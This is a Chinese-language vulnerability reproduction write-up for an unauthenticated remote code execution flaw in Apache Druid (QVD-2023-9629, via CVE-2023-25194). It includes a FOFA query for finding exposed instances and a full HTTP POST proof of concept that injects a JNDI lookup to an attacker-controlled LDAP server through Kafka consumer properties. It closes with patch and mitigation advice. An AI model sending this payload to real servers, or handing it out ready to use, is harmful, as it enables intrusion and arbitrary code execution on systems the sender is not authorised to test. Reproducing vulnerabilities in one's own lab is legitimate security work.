Apache Druid RCE漏洞复现(QVD-2023-9629)
0x01 产品简介
Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。
0x02 漏洞概述
在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)
0x03 影响范围
影响版本
0.19.0 <= Apache Druid <= 25.0.0
不受影响版本
Apache Druid >= 26.0.0(修复版本尚未正式发布)
0x04 复现环境
FOFA语法:title="Apache Druid"
本次复现版本为:24.0.1
0x05 漏洞复现
访问漏洞环境
填入任意字符,点击apply,burp抓包
POC:
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 1437
Connection: close
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"1.1.1.1:9092",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://x.x.x.x" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"
},
"topic":"any",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\s\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
修改请求包,user.provider.url处填写你的恶意ldap服务url
利用DNSlog验证漏洞是否存在
漏洞存在
0x06 修复建议
安全更新
目前Apache Druid官方已临时修复了此漏洞,但尚未正式发布新版本,用户可下载源码编译使用。
用户可持续关注Apache Druid官方新版本发布,并及时更新。
参考:https://github.com/apache/druid/tree/26.0.0
缓解措施
1、为Apache Druid 开启认证配置。
详情请见:https://druid.apache.org/docs/latest/development/extensions-core/druid-basic-security.html
2、在业务允许的情况下将Apache Druid移至内网。